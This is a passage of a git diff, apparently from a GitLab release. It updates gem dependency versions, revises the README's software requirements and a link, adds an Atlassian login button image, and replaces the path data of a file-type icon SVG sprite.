- marginalia (~> 1.8.0)
+ marginalia (~> 1.9.0)
memory_profiler (~> 0.9)
- method_source (~> 0.8)
+ method_source (~> 1.0)
mimemagic (~> 0.3.2)
mini_magick
minitest (~> 5.11.0)
@@ -1374,6 +1396,7 @@ DEPENDENCIES
octokit (~> 4.15)
oj (~> 3.10.6)
omniauth (~> 1.8)
+ omniauth-atlassian-oauth2 (~> 0.2.0)
omniauth-auth0 (~> 2.0.0)
omniauth-authentiq (~> 0.3.3)
omniauth-azure-oauth2 (~> 0.0.9)
@@ -1397,7 +1420,7 @@ DEPENDENCIES
png_quantizator (~> 0.2.1)
premailer-rails (~> 1.10.3)
prometheus-client-mmap (~> 0.11.0)
- pry-byebug (~> 3.5.1)
+ pry-byebug (~> 3.9.0)
pry-rails (~> 0.3.9)
rack (~> 2.0.9)
rack-attack (~> 6.3.0)
@@ -1437,12 +1460,12 @@ DEPENDENCIES
ruby_parser (~> 3.8)
rubyzip (~> 2.0.0)
rugged (~> 0.28)
- sanitize (~> 4.6)
+ sanitize (~> 5.2.1)
sassc-rails (~> 2.1.0)
scss_lint (~> 0.56.0)
seed-fu (~> 2.3.7)
selenium-webdriver (~> 3.142)
- sentry-raven (~> 2.9)
+ sentry-raven (~> 3.0)
settingslogic (~> 2.0.9)
shoulda-matchers (~> 4.0.1)
sidekiq (~> 5.2.7)
@@ -1474,6 +1497,7 @@ DEPENDENCIES
validates_hostname (~> 1.0.10)
version_sorter (~> 2.2.4)
vmstat (~> 2.3.0)
+ webauthn (~> 2.3)
webmock (~> 3.5.1)
webpack-rails (~> 0.9.10)
wikicloth (= 0.8.1)
diff --git a/README.md b/README.md
index 51a54c3bbff..38ecb9ea612 100644
--- a/README.md
+++ b/README.md
@@ -68,7 +68,7 @@ GitLab is an open source project and we are very happy to accept community contr
To work on GitLab itself, we recommend setting up your development environment with [the GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit).
If you do not use the GitLab Development Kit you need to install and setup all the dependencies yourself, this is a lot of work and error prone.
-One small thing you also have to do when installing it yourself is to copy the example development unicorn configuration file:
+One small thing you also have to do when installing it yourself is to copy the example development Unicorn configuration file:
cp config/unicorn.rb.example.development config/unicorn.rb
@@ -79,9 +79,9 @@ Instructions on how to start GitLab and how to run the tests can be found in the
GitLab is a Ruby on Rails application that runs on the following software:
- Ubuntu/Debian/CentOS/RHEL/OpenSUSE
-- Ruby (MRI) 2.6.5
-- Git 2.8.4+
-- Redis 2.8+
+- Ruby (MRI) 2.6.6
+- Git 2.24+
+- Redis 4.0+
- PostgreSQL 11+
For more information please see the [architecture](https://docs.gitlab.com/ee/development/architecture.html) and [requirements](https://docs.gitlab.com/ee/install/requirements.html) documentation.
@@ -116,7 +116,7 @@ Please see [Getting help for GitLab](https://about.gitlab.com/getting-help/) on
## Is it any good?
-[Yes](https://news.ycombinator.com/item?id=3067434)
+[Yes](https://about.gitlab.com/is-it-any-good/)
## Is it awesome?
diff --git a/app/assets/images/auth_buttons/atlassian_64.png b/app/assets/images/auth_buttons/atlassian_64.png
new file mode 100644
index 00000000000..548f1c93318
--- /dev/null
+++ b/app/assets/images/auth_buttons/atlassian_64.png
Binary files differ
diff --git a/app/assets/images/file_icons.svg b/app/assets/images/file_icons.svg
index 26ec1a6b388..ec38020f978 100644
--- a/app/assets/images/file_icons.svg
+++ b/app/assets/images/file_icons.svg
@@ -1 +1 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><symbol viewBox="0 0 24 24" id="actionscript" xmlns="http://www.w3.org/2000/svg"><text style="line-height:113.99999857%" x="5.605" y="15.892" transform="scale(.91325 1.095)" font-weight="400" font-size="42.822" font-family="sans-serif" letter-spacing="0" word-spacing="0" fill="#f44336"/><path style="line-height:125%" d="M4.744 2.031c-1.157 0-1.994.31-2.51.93-.515.612-.771 1.678-.771 3.197v2.467c0 1.408-.402 2.111-1.201 2.111v2.035c.8 0 1.2.679 1.2 2.036v2.654c0 1.512.26 2.562.78 3.152.52.59 1.355.885 2.502.885V19.43c-.447 0-.77-.151-.97-.453-.195-.303-.292-.815-.292-1.538v-2.267c0-1.807-.404-2.937-1.214-3.395v-.045c.81-.464 1.214-1.581 1.214-3.351V6.025c0-1.283.42-1.925 1.262-1.925V2.03zm14.66 0V4.1c.842 0 1.262.642 1.262 1.925v2.268c0 1.843.402 2.996 1.207 3.46v.046c-.805.442-1.207 1.544-1.207 3.306v2.356c0 .715-.099 1.22-.299 1.516-.2.302-.52.453-.963.453v2.068c1.152 0 1.984-.295 2.494-.885.516-.59.772-1.663.772-3.218V14.84c0-1.379.404-2.069 1.209-2.069v-2.035c-.805 0-1.21-.696-1.21-2.09V6.113c0-1.49-.255-2.54-.77-3.152-.516-.62-1.348-.93-2.495-.93zm-3.054 4.46c-.455 0-.886.057-1.293.173a3.056 3.056 0 0 0-1.078.527c-.308.241-.551.549-.731.924-.18.37-.27.817-.27 1.336 0 .663.165 1.227.493 1.695.33.468.831.864 1.502 1.188.263.125.509.249.736.37.227.12.422.244.586.374.168.13.299.271.394.424a.963.963 0 0 1 .145.521c0 .144-.03.28-.09.405a.9.9 0 0 1-.275.318c-.12.088-.272.158-.455.21a2.34 2.34 0 0 1-.635.075c-.415 0-.825-.083-1.233-.25a3.644 3.644 0 0 1-1.13-.763v2.222a3.68 3.68 0 0 0 1.101.418c.427.093.875.139 1.346.139.459 0 .894-.05 1.305-.152a3.002 3.002 0 0 0 1.09-.5c.31-.237.556-.543.736-.918.183-.38.275-.849.275-1.405 0-.403-.052-.755-.156-1.056a2.542 2.542 0 0 0-.45-.813 3.295 3.295 0 0 0-.704-.633 6.754 6.754 0 0 0-.922-.535 12.4 12.4 0 0 1-.676-.348c-.2-.115-.37-.231-.51-.347a1.502 1.502 0 0 1-.322-.375.91.91 0 0 1-.115-.453c0-.153.033-.288.101-.408a.948.948 0 0 1 .29-.32c.123-.089.275-.156.454-.202a2.18 2.18 0 0 1 .598-.078c.16 0 .326.015.502.043.18.028.36.07.539.13.18.056.354.13.522.218.171.088.329.188.472.304V6.871a4.039 4.039 0 0 0-.957-.285 6.448 6.448 0 0 0-1.185-.096zm-8.774.165l-3.123 9.967h2.094l.605-2.217h3.053l.61 2.217h2.107L9.869 6.656H7.576zm1.072 1.78h.047c.028.347.077.646.145.896l.922 3.35H7.564l.934-3.377c.08-.288.13-.578.15-.87z" font-weight="400" font-size="51.019" font-family="sans-serif" letter-spacing="0" word-spacing="0" fill="#f44336"/></symbol><symbol viewBox="0 0 24 24" id="android" xmlns="http://www.w3.org/2000/svg"><path d="M15 5h-1V4h1m-5 1H9V4h1m5.53-1.84L16.84.85c.19-.19.19-.51 0-.71a.513.513 0 0 0-.71 0l-1.48 1.48C13.85 1.23 12.95 1 12 1c-.96 0-1.86.23-2.66.63L7.85.14a.501.501 0 0 0-.7 0c-.2.2-.2.52 0 .71l1.31 1.31C6.97 3.26 6 5 6 7h12c0-2-1-3.75-2.47-4.84M20.5 8A1.5 1.5 0 0 0 19 9.5v7a1.5 1.5 0 0 0 1.5 1.5 1.5 1.5 0 0 0 1.5-1.5v-7A1.5 1.5 0 0 0 20.5 8m-17 0A1.5 1.5 0 0 0 2 9.5v7A1.5 1.5 0 0 0 3.5 18 1.5 1.5 0 0 0 5 16.5v-7A1.5 1.5 0 0 0 3.5 8M6 18a1 1 0 0 0 1 1h1v3.5A1.5 1.5 0 0 0 9.5 24a1.5 1.5 0 0 0 1.5-1.5V19h2v3.5a1.5 1.5 0 0 0 1.5 1.5 1.5 1.5 0 0 0 1.5-1.5V19h1a1 1 0 0 0 1-1V8H6v10z" fill="#c0ca33"/></symbol><symbol viewBox="0 0 24 24" id="angular" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#e53935"/></symbol><symbol viewBox="0 0 24 24" id="angular-component" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#0288d1"/></symbol><symbol viewBox="0 0 24 24" id="angular-directive" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#ab47bc"/></symbol><symbol viewBox="0 0 24 24" id="angular-guard" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#43a047"/></symbol><symbol viewBox="0 0 24 24" id="angular-pipe" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#00897b"/></symbol><symbol viewBox="0 0 24 24" id="angular-resolver" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#43a047"/></symbol><symbol viewBox="0 0 24 24" id="angular-routing" xmlns="http://www.w3.org/2000/svg"><path d="M11 10H5L3 8l2-2h6V3l1-1 1 1v1h6l2 2-2 2h-6v2h6l2 2-2 2h-6v6a2 2 0 0 1 2 2H9a2 2 0 0 1 2-2V10z" fill="#43a047"/></symbol><symbol viewBox="0 0 24 24" id="angular-service" xmlns="http://www.w3.org/2000/svg"><path d="M12.102 2.625l8.84 3.15-1.34 11.7-7.5 4.15-7.5-4.15-1.34-11.7 8.84-3.15m0 2.1l-5.53 12.4h2.06l1.11-2.78h4.7l1.11 2.78h2.05l-5.5-12.4m1.62 7.9h-3.23l1.61-3.87z" fill="#ffca28"/></symbol><symbol viewBox="0 0 100 100" id="apiblueprint" xmlns="http://www.w3.org/2000/svg"><title>api-blueprint</title><path d="M50.133 7.521A16.998 16.998 0 0 0 33.135 24.52a16.998 16.998 0 0 0 4.945 11.974L24.861 57.398a16.998 16.998 0 0 0-3.175-.308A16.998 16.998 0 0 0 4.688 74.088a16.998 16.998 0 0 0 16.998 16.998 16.998 16.998 0 0 0 16.998-16.998 16.998 16.998 0 0 0-7.063-13.773l12.576-19.89a16.998 16.998 0 0 0 5.936 1.093 16.998 16.998 0 0 0 6.154-1.155l12.537 19.83a16.998 16.998 0 0 0-7.244 13.895 16.998 16.998 0 0 0 16.998 17 16.998 16.998 0 0 0 16.998-17A16.998 16.998 0 0 0 78.578 57.09a16.998 16.998 0 0 0-2.95.262L62.337 36.327A16.998 16.998 0 0 0 67.13 24.52 16.998 16.998 0 0 0 50.132 7.522z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="applescript" xmlns="http://www.w3.org/2000/svg"><path d="M18.71 19.5c-.83 1.24-1.71 2.45-3.05 2.47-1.34.03-1.77-.79-3.29-.79-1.53 0-2 .77-3.27.82-1.31.05-2.3-1.32-3.14-2.53C4.25 17 2.94 12.45 4.7 9.39c.87-1.52 2.43-2.48 4.12-2.51 1.28-.02 2.5.87 3.29.87.78 0 2.26-1.07 3.81-.91.65.03 2.47.26 3.64 1.98-.09.06-2.17 1.28-2.15 3.81.03 3.02 2.65 4.03 2.68 4.04-.03.07-.42 1.44-1.38 2.83M13 3.5c.73-.83 1.94-1.46 2.94-1.5.13 1.17-.34 2.35-1.04 3.19-.69.85-1.83 1.51-2.95 1.42-.15-1.15.41-2.35 1.05-3.11z" fill="#78909c"/></symbol><symbol viewBox="0 0 24 24" id="appveyor" xmlns="http://www.w3.org/2000/svg"><path d="M12 2c-.084 0-.165.008-.248.01a10 10 0 0 0-.266.01 9.952 9.952 0 0 0-.754.066 10 10 0 0 0-.148.018 9.855 9.855 0 0 0-.93.177 10 10 0 0 0-.07.02c-.196.049-.392.1-.584.16v.012a10 10 0 0 0-2 .875V3.34c-.02.012-.038.027-.059.039a10 10 0 0 0-.953.635c-.09.067-.172.142-.26.213a10 10 0 0 0-.628.546c-.109.104-.211.211-.315.319a10 10 0 0 0-.476.539c-.1.12-.201.237-.295.361a10 10 0 0 0-.52.766c-.088.143-.17.288-.252.435a10 10 0 0 0-.363.723c-.072.161-.136.327-.2.492a10 10 0 0 0-.269.778c-.02.067-.044.131-.062.199a10 10 0 0 0-.008.027c-.098.364-.166.728-.22 1.09-.012.077-.024.153-.034.23a9.85 9.85 0 0 0-.08 1.182c0 .03-.006.057-.006.086a10 10 0 0 0 .008.148c.001.094-.002.188.002.282l.011.004a10 10 0 0 0 .333 2.158l-.012-.004c.012.047.033.091.047.139a10 10 0 0 0 .322.955c.02.052.037.106.059.158a10 10 0 0 0 .503 1.035c.065.116.14.226.21.34a10 10 0 0 0 .423.64c.092.128.187.252.285.375a10 10 0 0 0 .448.52c.112.123.222.248.341.365a10 10 0 0 0 .803.719 10 10 0 0 0 .01.006c.099.078.207.146.309.22a10 10 0 0 0 .648.442c.138.085.28.163.424.242a10 10 0 0 0 .715.358c.114.051.226.106.343.154a10 10 0 0 0 1.133.389c.016.004.031.01.047.015a10 10 0 0 0 .461.098 10 10 0 0 0 .482.103 10 10 0 0 0 .418.051 10 10 0 0 0 .575.065 10 10 0 0 0 .144.005A10 10 0 0 0 12 22a10 10 0 0 0 .197-.01 10 10 0 0 0 .496-.025 10 10 0 0 0 .49-.043 10 10 0 0 0 .489-.074 10 10 0 0 0 .51-.098 10 10 0 0 0 .47-.12 10 10 0 0 0 .477-.14 10 10 0 0 0 .47-.172 10 10 0 0 0 .481-.197 10 10 0 0 0 .414-.201 10 10 0 0 0 .475-.252 10 10 0 0 0 .39-.238 10 10 0 0 0 .452-.301 10 10 0 0 0 .38-.291 10 10 0 0 0 .385-.315 10 10 0 0 0 .375-.347 10 10 0 0 0 .36-.363 10 10 0 0 0 .293-.334 10 10 0 0 0 .353-.434 10 10 0 0 0 .28-.393 10 10 0 0 0 .263-.4 10 10 0 0 0 .264-.461 10 10 0 0 0 .228-.436 10 10 0 0 0 .195-.437 10 10 0 0 0 .196-.48 10 10 0 0 0 .228-.69 10 10 0 0 0 .028-.094 10 10 0 0 0 .021-.066 10 10 0 0 0 .098-.461 10 10 0 0 0 .103-.482 10 10 0 0 0 .051-.418 10 10 0 0 0 .065-.575 10 10 0 0 0 .005-.144A10 10 0 0 0 22 12a10 10 0 0 0-.01-.197 10 10 0 0 0-.025-.496 10 10 0 0 0-.043-.49 10 10 0 0 0-.074-.489 10 10 0 0 0-.098-.51 10 10 0 0 0-.12-.47 10 10 0 0 0-.14-.477 10 10 0 0 0-.172-.47 10 10 0 0 0-.197-.481 10 10 0 0 0-.201-.414 10 10 0 0 0-.252-.475 10 10 0 0 0-.238-.39 10 10 0 0 0-.301-.452 10 10 0 0 0-.291-.38 10 10 0 0 0-.315-.385 10 10 0 0 0-.347-.375 10 10 0 0 0-.363-.36 10 10 0 0 0-.334-.293 10 10 0 0 0-.434-.353 10 10 0 0 0-.393-.28 10 10 0 0 0-.4-.263 10 10 0 0 0-.461-.264 10 10 0 0 0-.436-.228 10 10 0 0 0-.437-.196 10 10 0 0 0-.48-.195 10 10 0 0 0-.69-.228 10 10 0 0 0-.094-.028 10 10 0 0 0-.066-.021 10 10 0 0 0-.461-.098 10 10 0 0 0-.482-.103 10 10 0 0 0-.418-.051 10 10 0 0 0-.575-.065 10 10 0 0 0-.144-.005A10 10 0 0 0 12 2zm-.016 5.002a5 5 0 0 1 .262.01 5 5 0 0 1 .227.011 5 5 0 0 1 .341.05 5 5 0 0 1 .135.019 5 5 0 0 1 .014.004 5 5 0 0 1 .115.025 5 5 0 0 1 .303.076 5 5 0 0 1 .265.086 5 5 0 0 1 .2.074 5 5 0 0 1 .242.106 5 5 0 0 1 .228.11 5 5 0 0 1 .196.109 5 5 0 0 1 .244.15 5 5 0 0 1 .17.12 5 5 0 0 1 .224.171 5 5 0 0 1 .186.16 5 5 0 0 1 .176.164 5 5 0 0 1 .172.18 5 5 0 0 1 .177.203 5 5 0 0 1 .133.172 5 5 0 0 1 .16.223 5 5 0 0 1 .133.214 5 5 0 0 1 .12.21 5 5 0 0 1 .107.216 5 5 0 0 1 .109.24 5 5 0 0 1 .084.223 5 5 0 0 1 .08.242 5 5 0 0 1 .07.264 5 5 0 0 1 .047.207 5 5 0 0 1 .045.277 5 5 0 0 1 .028.227 5 5 0 0 1 .02.351 5 5 0 0 1 .003.079 5 5 0 0 1-.012.271 5 5 0 0 1-.011.227 5 5 0 0 1-.05.341 5 5 0 0 1-.019.135 5 5 0 0 1-.004.014 5 5 0 0 1-.025.115 5 5 0 0 1-.076.303 5 5 0 0 1-.086.265 5 5 0 0 1-.074.2 5 5 0 0 1-.106.242 5 5 0 0 1-.11.228 5 5 0 0 1-.109.196 5 5 0 0 1-.15.244 5 5 0 0 1-.12.17 5 5 0 0 1-.171.224 5 5 0 0 1-.16.186 5 5 0 0 1-.164.176 5 5 0 0 1-.18.172 5 5 0 0 1-.203.177l-.002.002c-.018.019-.028.035-.047.053l-3.959 5.09-3.05-.979a141.684 141.684 0 0 0 3.177-3.084 5 5 0 0 1-.103-.015 5 5 0 0 1-.149-.024 5 5 0 0 1-.115-.025 5 5 0 0 1-3.57-3.04 5.072 5.072 0 0 1-.206-.661 5 5 0 0 1-.033-.147c-.025-.118-.036-.24-.054-.36-.987.993-1.964 1.993-2.954 3.05l-.98-3.053 5.092-3.957c.043-.044.082-.07.125-.11a5 5 0 0 1 .71-.634c.18-.13.367-.25.561-.356a5 5 0 0 1 .16-.08 4.94 4.94 0 0 1 .516-.222 5 5 0 0 1 .147-.057c.211-.07.43-.123.654-.164a5 5 0 0 1 .172-.027c.236-.035.476-.058.722-.059zM12 9a3 3 0 0 0-.053.002 3 3 0 0 0-.166.01 3 3 0 0 0-.133.011 3 3 0 0 0-.17.026 3 3 0 0 0-.113.021 3 3 0 0 0-.19.05 3 3 0 0 0-.103.03 3 3 0 0 0-.16.057 3 3 0 0 0-.129.053 3 3 0 0 0-.146.072 3 3 0 0 0-.12.063 3 3 0 0 0-.132.082 3 3 0 0 0-.123.08 3 3 0 0 0-.116.088 3 3 0 0 0-.126.105 3 3 0 0 0-.1.094 3 3 0 0 0-.111.111 3 3 0 0 0-.096.107 3 3 0 0 0-.094.116 3 3 0 0 0-.098.136 3 3 0 0 0-.072.11 3 3 0 0 0-.076.133 3 3 0 0 0-.07.132 3 3 0 0 0-.063.14 3 3 0 0 0-.054.14 3 3 0 0 0-.077.228 3 3 0 0 0-.007.026 3 3 0 0 0-.03.138 3 3 0 0 0-.031.149 3 3 0 0 0-.014.11 3 3 0 0 0-.02.183 3 3 0 0 0-.001.052A3 3 0 0 0 9 12a3 3 0 0 0 .002.053 3 3 0 0 0 .01.166 3 3 0 0 0 .011.133 3 3 0 0 0 .026.17 3 3 0 0 0 .021.113 3 3 0 0 0 .05.19 3 3 0 0 0 .03.103 3 3 0 0 0 .057.16 3 3 0 0 0 .053.129 3 3 0 0 0 .072.146 3 3 0 0 0 .063.12 3 3 0 0 0 .082.132 3 3 0 0 0 .08.123 3 3 0 0 0 .088.116 3 3 0 0 0 .105.126 3 3 0 0 0 .094.1 3 3 0 0 0 .111.111 3 3 0 0 0 .107.096 3 3 0 0 0 .116.094 3 3 0 0 0 .136.098 3 3 0 0 0 .11.072 3 3 0 0 0 .133.076 3 3 0 0 0 .132.07 3 3 0 0 0 .135.06 3 3 0 0 0 .153.061 3 3 0 0 0 .216.07 3 3 0 0 0 .004.003 3 3 0 0 0 .026.007 3 3 0 0 0 .138.03 3 3 0 0 0 .149.031 3 3 0 0 0 .11.014 3 3 0 0 0 .183.02 3 3 0 0 0 .011.001 3 3 0 0 0 .041 0A3 3 0 0 0 12 15a3 3 0 0 0 .053-.002 3 3 0 0 0 .166-.01 3 3 0 0 0 .133-.011 3 3 0 0 0 .17-.026 3 3 0 0 0 .113-.021 3 3 0 0 0 .19-.05 3 3 0 0 0 .103-.03 3 3 0 0 0 .16-.057 3 3 0 0 0 .129-.053 3 3 0 0 0 .146-.072 3 3 0 0 0 .12-.063 3 3 0 0 0 .132-.082 3 3 0 0 0 .123-.08 3 3 0 0 0 .116-.088 3 3 0 0 0 .126-.105 3 3 0 0 0 .1-.094 3 3 0 0 0 .111-.111 3 3 0 0 0 .096-.107 3 3 0 0 0 .094-.116 3 3 0 0 0 .098-.136 3 3 0 0 0 .072-.11 3 3 0 0 0 .076-.133 3 3 0 0 0 .07-.132 3 3 0 0 0 .06-.135 3 3 0 0 0 .061-.153 3 3 0 0 0 .07-.216 3 3 0 0 0 .003-.004 3 3 0 0 0 .007-.026 3 3 0 0 0 .03-.138 3 3 0 0 0 .031-.149 3 3 0 0 0 .002-.008 3 3 0 0 0 .012-.101 3 3 0 0 0 .02-.184 3 3 0 0 0 .001-.011 3 3 0 0 0 0-.041A3 3 0 0 0 15 12a3 3 0 0 0-.002-.053 3 3 0 0 0-.01-.166 3 3 0 0 0-.011-.133 3 3 0 0 0-.026-.17 3 3 0 0 0-.021-.113 3 3 0 0 0-.05-.19 3 3 0 0 0-.03-.103 3 3 0 0 0-.057-.16 3 3 0 0 0-.053-.129 3 3 0 0 0-.072-.146 3 3 0 0 0-.063-.12 3 3 0 0 0-.082-.132 3 3 0 0 0-.08-.123 3 3 0 0 0-.088-.116 3 3 0 0 0-.105-.126 3 3 0 0 0-.094-.1 3 3 0 0 0-.111-.111 3 3 0 0 0-.107-.096 3 3 0 0 0-.116-.094 3 3 0 0 0-.136-.098 3 3 0 0 0-.11-.072 3 3 0 0 0-.133-.076 3 3 0 0 0-.132-.07 3 3 0 0 0-.14-.063 3 3 0 0 0-.14-.054 3 3 0 0 0-.228-.077 3 3 0 0 0-.026-.007 3 3 0 0 0-.138-.03 3 3 0 0 0-.149-.031 3 3 0 0 0-.008-.002 3 3 0 0 0-.101-.012 3 3 0 0 0-.184-.02 3 3 0 0 0-.011-.001 3 3 0 0 0-.041 0A3 3 0 0 0 12 9z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 720 720" id="arduino" xmlns="http://www.w3.org/2000/svg"><defs><symbol id="ana" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke-opacity="100%" stroke-width="60" stroke="#00979c" d="M174 30a10.5 10.1 0 0 0 0 280C364 320 344 30 544 30a10.5 10.1 0 0 1 0 280C354 320 374 30 174 30"/><path d="M528 205v-32.8h-32.5v-13.7H528V126h13.9v32.5h32.5v13.7h-32.5V205H528z" text-anchor="middle" fill="#00979c" stroke-width="20" stroke="#00979c" font-family="sans-serif" font-size="167"/><path fill="#00979c" stroke="#00979c" stroke-width="23.6" transform="matrix(1.56 0 0 .64 -366 .528)" d="M321 266v-17.4h53.3V266H321z"/></symbol></defs><title>Layer 1</title><use x="20.063" y="360.85" transform="matrix(.997 0 0 .997 -18.596 -159.19)" xlink:href="#ana"/></symbol><symbol viewBox="0 0 24 24" id="assembly" xmlns="http://www.w3.org/2000/svg"><path d="M1.746 1.566v20.905H5.13v-2.088H3.438V3.656h1.69v-2.09H1.747zm17.219 0v2.09h1.693v16.727h-1.693v2.09h3.383V1.566h-3.383zM15.196 3.988c-.5 0-.93.076-1.29.225-.359.15-.652.372-.877.671-.226.302-.39.673-.494 1.108a6.715 6.715 0 0 0-.155 1.54c0 .573.049 1.083.15 1.528.1.442.264.811.49 1.11.222.298.512.524.872.676.36.153.795.23 1.304.23.518 0 .954-.075 1.308-.224.353-.153.643-.376.869-.671.219-.29.38-.661.484-1.112.104-.454.156-.967.156-1.54 0-.573-.052-1.079-.152-1.515a2.92 2.92 0 0 0-.485-1.106 2.09 2.09 0 0 0-.868-.686c-.354-.155-.79-.234-1.312-.234zm-6.814.12a.941.941 0 0 1-.138.458.849.849 0 0 1-.356.296A1.71 1.71 0 0 1 7.385 5a5.244 5.244 0 0 1-.631.037v1.11H8.19v3.6H6.754v1.188h4.545V9.745H9.894V4.11H8.382zm6.814 1.138c.375 0 .643.176.805.527.161.348.241.933.241 1.756 0 .814-.082 1.399-.247 1.756-.164.356-.43.534-.799.534-.369 0-.636-.178-.8-.534-.165-.357-.248-.941-.248-1.749 0-.829.082-1.415.243-1.763.162-.35.43-.527.805-.527zm-6.33 7.64c-.5 0-.93.073-1.29.223-.359.15-.651.374-.877.673-.225.302-.39.67-.494 1.106a6.715 6.715 0 0 0-.155 1.54c0 .573.05 1.082.15 1.527.1.442.264.814.49 1.112.222.3.514.525.874.677.36.152.793.229 1.302.229.519 0 .954-.076 1.308-.225.354-.153.643-.376.869-.672.22-.29.38-.66.484-1.111.104-.455.156-.967.156-1.54 0-.573-.05-1.079-.15-1.515a2.923 2.923 0 0 0-.487-1.106 2.084 2.084 0 0 0-.867-.686c-.353-.156-.791-.232-1.313-.232zm5.846.119a.941.941 0 0 1-.138.457.85.85 0 0 1-.356.296 1.71 1.71 0 0 1-.503.137 5.245 5.245 0 0 1-.631.037v1.112h1.435v3.597h-1.435v1.189h4.545v-1.189h-1.405v-5.636h-1.512zm-5.846 1.137c.375 0 .643.176.805.527.162.347.241.933.241 1.756 0 .813-.08 1.399-.245 1.755-.164.357-.432.534-.8.534-.37 0-.637-.177-.802-.534-.164-.356-.245-.939-.245-1.746 0-.83.08-1.418.242-1.765.161-.35.43-.527.804-.527z" fill="#ff6e40"/></symbol><symbol viewBox="0 0 24 24" id="aurelia" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="api" x1="-31.824" x2="19.682" y1="-11.741" y2="35.548" gradientTransform="scale(.95818 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#apa"/><linearGradient id="apa" x1="-3.881" x2="2.377" y1="-1.442" y2="4.304"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="apj" x1="12.022" x2="-15.716" y1="13.922" y2="-23.952" gradientTransform="scale(.96226 1.0392)" gradientUnits="userSpaceOnUse" xlink:href="#apb"/><linearGradient id="apb" x1=".729" x2="-.971" y1=".844" y2="-1.477"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="apk" x1="-23.39" x2="23.931" y1="-57.289" y2="8.573" gradientTransform="scale(1.0429 .95884)" gradientUnits="userSpaceOnUse" xlink:href="#apc"/><linearGradient id="apc" x1="-2.839" x2="2.875" y1="-6.936" y2="1.017"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="apl" x1="-53.331" x2="6.771" y1="-30.517" y2="18.785" gradientTransform="scale(.99898 1.001)" gradientUnits="userSpaceOnUse" xlink:href="#apd"/><linearGradient id="apd" x1="-8.212" x2="1.02" y1="-4.691" y2="2.882"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="apm" x1="-14.029" x2="41.998" y1="-23.111" y2="26.259" gradientTransform="scale(1.0003 .99965)" gradientUnits="userSpaceOnUse" xlink:href="#ape"/><linearGradient id="ape" x1="-1.404" x2="4.19" y1="-2.309" y2="2.62"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="apn" x1="31.177" x2="3.37" y1="41.442" y2="3.402" gradientTransform="scale(.96254 1.0389)" gradientUnits="userSpaceOnUse" xlink:href="#apf"/><linearGradient id="apf" x1="1.911" x2=".204" y1="2.539" y2=".204"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".29"/><stop stop-color="#CD0F7E" offset=".84"/><stop stop-color="#ED2C89" offset="1"/></linearGradient><linearGradient id="apo" x1="-31.905" x2="19.599" y1="-14.258" y2="42.767" gradientTransform="scale(.95823 1.0436)" gradientUnits="userSpaceOnUse" xlink:href="#apg"/><linearGradient id="apg" x1="-3.881" x2="2.377" y1="-1.738" y2="5.19"><stop stop-color="#C06FBB" offset="0"/><stop stop-color="#6E4D9B" offset="1"/></linearGradient><linearGradient id="app" x1="4.301" x2="34.534" y1="34.41" y2="4.514" gradientTransform="scale(1.002 .99796)" gradientUnits="userSpaceOnUse" xlink:href="#aph"/><linearGradient id="aph" x1=".112" x2=".901" y1=".897" y2=".116"><stop stop-color="#6E4D9B" offset="0"/><stop stop-color="#77327A" offset=".14"/><stop stop-color="#B31777" offset=".53"/><stop stop-color="#CD0F7E" offset=".79"/><stop stop-color="#ED2C89" offset="1"/></linearGradient></defs><g transform="rotate(11.282 -1.694 21.569) scale(.47102)" 